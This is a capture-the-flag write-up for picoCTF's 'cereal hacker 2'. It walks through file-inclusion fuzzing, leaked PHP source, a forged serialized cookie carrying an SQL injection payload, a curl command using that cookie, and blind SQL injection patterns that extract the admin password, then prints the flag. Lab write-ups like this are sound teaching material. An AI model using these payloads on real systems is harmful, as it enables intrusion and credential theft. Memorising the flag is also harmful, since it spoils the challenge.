cereal hacker 2

Problem

Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195

Solution

  1. Scan for files that can be loaded using the file parameter in the URL (http://2019shell1.picoctf.com:62195/index.php?file=FUZZ):

     kali@kali:~$ wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hs "Unable to locate" http://2019shell1.picoctf.com:62195/index.php?file=FUZZ
    
     Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
    
     ********************************************************
     * Wfuzz 2.4.5 - The Web Fuzzer                         *
     ********************************************************
    
     Target: http://2019shell1.picoctf.com:62195/index.php?file=FUZZ
     Total requests: 4652
    
     ===================================================================
     ID           Response   Lines    Word     Chars       Payload
     ===================================================================
    
     000000487:   200        25 L     71 W     1108 Ch     "admin"
     000000493:   200        0 L      0 W      0 Ch        "admin.php"
     000001222:   200        6 L      17 W     500 Ch      "cookie"
     000002014:   200        12 L     33 W     993 Ch      "head"
     000002151:   200        0 L      0 W      0 Ch        "index.php"
     000002468:   200        34 L     82 W     1423 Ch     "login"
     000002148:   200        215826   575537   177337523   "index"
                             6 L      7 W       Ch
    
     Total time: 62.45093
     Processed Requests: 4652
     Filtered Requests: 4645
     Requests/sec.: 74.49048

    The --hs argument hides responses that match the specifies regex. When the file is not found the text "Unable to locate" is displayed so those responses are ignored.

  2. Run P0cL4bs/kadimus with ./kadimus -u https://2019shell1.picoctf.com/problem/62195/index.php?file=FUZZ -S -f admin --parameter file to find require_once('cookie.php'); in admin.php.

  3. Ouput of /kadimus -u https://2019shell1.picoctf.com/problem/62195/index.php?file=FUZZ -S -f cookie --parameter file:

    ```php <?php

    require_once('../sql_connect.php');

    // I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie class permissions { public $username; public $password;

         function __construct($u, $p){
                 $this->username = $u;
                 $this->password = $p;
         }
    
         function is_admin(){
                 global $sql_conn;
                 if($sql_conn->connect_errno){
                         die('Could not connect');
                 }
                 //$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
    
                 if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
                     die("SQL error");
                 }
    
                 $prepared->bind_param('ss', $this->username, $this->password);
    
                 if (!$prepared->execute()) {
                     die("SQL error");
                 }
    
                 if (!($result = $prepared->get_result())) {
                     die("SQL error");
                 }
    
                 $r = $result->fetch_all();
                 if($result->num_rows !== 1){
                         $is_admin_val = 0;
                 }
                 else{
                         $is_admin_val = (int)$r[0][0];
                 }
    
                 $sql_conn->close();
                 return $is_admin_val;
         }

    }

    / legacy login / class siteuser { public $username; public $password;

         function __construct($u, $p){
                 $this->username = $u;
                 $this->password = $p;
         }
    
         function is_admin(){
                 global $sql_conn;
                 if($sql_conn->connect_errno){
                         die('Could not connect');
                 }
                 $q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
    
                 $result = $sql_conn->query($q);
                 if($result->num_rows != 1){
                         $is_user_val = 0;
                 }
                 else{
                         $is_user_val = 1;
                 }
    
                 $sql_conn->close();
                 return $is_user_val;
         }

    }

if(isset($_COOKIE['user_info'])){
        try{
                $perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
        }
        catch(Exception $except){
                die('Deserialization error.');
        }
}

?>
```

This reveals why SQLi will not work anymore. The website moved to prepared statements (`if (!($prepared = $sql_conn->**prepare**("SELECT ad`...) which are much safer. However, the `siteuser` class does not have this. It is vulnerable.
  1. We can use the same format from cereal hacker 1 but with siteuser instead of permissions: O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:11:"' or '1'='1";}. Use CyberChef with the recipe from before ([{"op":"To Base64","args":["A-Za-z0-9+/="]},{"op":"URL Encode","args":[true]},{"op":"URL Encode","args":[true]}]) to encode the cookie.

  2. Run curl http://2019shell1.picoctf.com:62195/index.php?file=admin -H "Cookie: user_info=Tzo4OiJzaXRldXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czo4OiJwYXNzd29yZCI7czoxMToiJyBvciAnMSc9JzEiO30%253D" to get admin page.

  3. Run script.py to get the flag. This script performs a blind error-based SQL injection. It sends a request with the cookie from above, but it changes the password field using the pattern below:

     ' or password like BINARY 'p%
     ' or password like BINARY 'pi%
     ' or password like BINARY 'pic%
     ' or password like BINARY 'pico%
     ' or password like BINARY 'picoC%
     ' or password like BINARY 'picoCT%
     ' or password like BINARY 'picoCTF%

    The program loops through ascii numbers and characters, trying each one until a login is successful. When the login is successful, the program appends that character to the stored flag and starts the loop again. The loop runs until the login is successful by adding the "}" character ("}" is end of flag) or until the list of characters is completely looped through in one iteration. If the second case were to happen then that means no character tested as valid or the end of the password has been reached.

Flag

picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}

Last updated